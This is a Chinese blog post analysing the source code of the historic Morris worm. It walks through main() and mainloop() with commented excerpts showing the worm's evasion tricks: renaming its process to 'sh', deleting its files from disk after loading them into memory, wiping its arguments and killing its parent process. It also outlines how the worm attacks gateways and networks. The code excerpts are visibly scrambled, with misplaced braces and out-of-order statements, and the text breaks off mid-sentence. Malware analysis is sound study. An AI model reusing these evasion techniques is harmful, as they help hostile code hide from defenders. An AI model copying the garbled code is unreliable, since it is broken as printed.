admin 管理员组文章数量: 1086019
2024年4月30日发(作者:tcpip四层网络模型)
Morris蠕虫总结
1. 概览
从整体上来看,morris蠕虫是C/S架构的,它的主要行为可以分为攻击、隐藏和保护三
个部分。攻击部分是蠕虫最主要的部分,其大致由定位目标主机、利用系统漏洞、感染(攻
击)目标主机几个步骤组成;而其中的感染(攻击)环节中利用的方法主要有三种:finger、
sendmail、破解密码。而且,Morris蠕虫为了隐藏自己,使自己不易被发现和被分析,其主
要运用了三种自我防卫技巧:换名、异或加密(对文件)、核心代码转储(将文件全部加密并
存贮在内存中)。下面对morris蠕虫各主要行为的实现进行详细的分析。
2. Morris的main函数以及mainloop函数
2.1 main()函数
main函数是蠕虫程序的开始,它的运行标志着一只新蠕虫的诞生,标志着运行这只蠕虫
的主机将开始对外进行攻击。main函数是由引导程序(bootstrap)引导运行的,它运行在已
被蠕虫攻破(将要对其他机器进行攻击)的主机上。main函数的主要作用是进行系统设置,
以便蠕虫从本机开始下一阶段的攻击。在main函数中主要是进行了一些相关的设置和初始
化工作,而具体的其他功能并没有在其中实现,下面是对main函数的一些分析和理解。
进入main函数,morris做的第一件事就是换名。这样使得它看起来会和正常的程序一样,
不容易被发现。执行换名的代码如下:
strcpy(argv[0], XS("sh"));
然后它用time函数初始化随机数,并设置资源限制。这部分代码以及注释如下:
time(&key);
srandom(key); //key是随机数种子,但是好像在main函数中没有用到
_cur = 0;
_max = 0;
if (setrlimit(RLIMIT_CORE, &rl)) ?; /*RLIMIT_CORE:设定最大的core文件,设置资源限制,
在这里if后面没有语句,作者是何用意尚不明确*/
signal(SIGPIPE, SIG_IGN);
pid_arg = 0;
cur_arg = 1;
if (argc > 2 && strcmp(argv[cur_arg], XS("-p")) == 0) //"-p"是代表父进程ID
{
}
//如果main函数的参数多于2个,而且第二个字符串是父进程的ID
pid_arg = atoi(argv[2]); //把字符串转换成长整型数
cur_arg += 2; //cur_arg值为3,从第3个文件开始读入内存
/*第一个参数代表信号,第二个参数是接收到后的操
作SIG_IGN 忽略参数signum指定的信号。*/
//父进程的ID
//作用不明,大致应该是表示当前主函数参数指针
然后它开始加载文件到内存当中,并做一些中初始化工作,在设置完成后,函数删除磁
盘上的文件,以不留下痕迹。具体代码以及注释如下:
for(i = cur_arg; i < argc; i++) //在成功读入一个文件后,将其从磁盘删除
{
if (loadobject(argv[i]) == 0) //将文件从磁盘读入内存
}
exit(1);
if (pid_arg)
unlink(argv[i]); //删除磁盘上文件
if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
/*对object数据结构进行检查*/
exit(1); /*如果引导文件"l1.c"没有读入内存或者没有文件读入,退出程序。引导程序是
下次攻击是必不可少的文件*/
最后main函数进行一些收尾工作,将删除磁盘上剩余的蠕虫文件的拷贝(由引导程序
传送来),以及更改进程号(隐藏自己):
if (pid_arg)
{
}
for (i = 1; i < argc; i++)
{
}
for (j = 0; argv[i][j]; j++)
argv[i][j] = '0'; //将参数列表清0,隐藏函数初始化的信息
exit(1);
//更改进程号,以便隐蔽的进行进一步工作
//删除磁盘文件
for(i = 0; i < 32; i++)
close(i); //关闭在加载文件时打开的文件
unlink(argv[0]); //删除此文件
unlink(XS("sh")); //删除sh文件
unlink(XS("/tmp/.dumb")); //删除/tmp/.dumb文件
if (if_init() == 0) //初始化网卡接口,如果失败,程序退出
if (pid_arg)
if (pid_arg == getpgrp(getpid()))
setpgrp(getpid(), getpid());
kill(pid_arg, 9);
2.2 mainloop()函数
以上是对main函数的一些分析,其中有一些设置将在其他函数中用到。在main函数的
最后,它调用了mainloop()函数,mainloop()函数体现了蠕虫的主要功能框架,是蠕虫的主
要功能实现部分。其主要代码以及注释如下:
time(&key);
srandom(key);
time0 = key;//用time函数产生一个随机数,下面还用此来记录本程序已经运行的时间
if (hg() == 0 && hl() == 0) /*开始第一次攻击,其中hg()是对网关进行攻击,hl()是
对主机所在网络进行攻击,如果攻击都没有成功,则用ha()对远程网络主机进行攻击*/
ha();
checkother(); //检查一下是否有其他蠕虫已经在本主机上了,如果存在则其中一方退出
/*在此蠕虫还有一个作用不明的函数(在此没有列出),发送一些数据包到Berkeley主站的
版权声明:本文标题:Morris蠕虫源代码分析 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://roclinux.cn/p/1714463923a681283.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论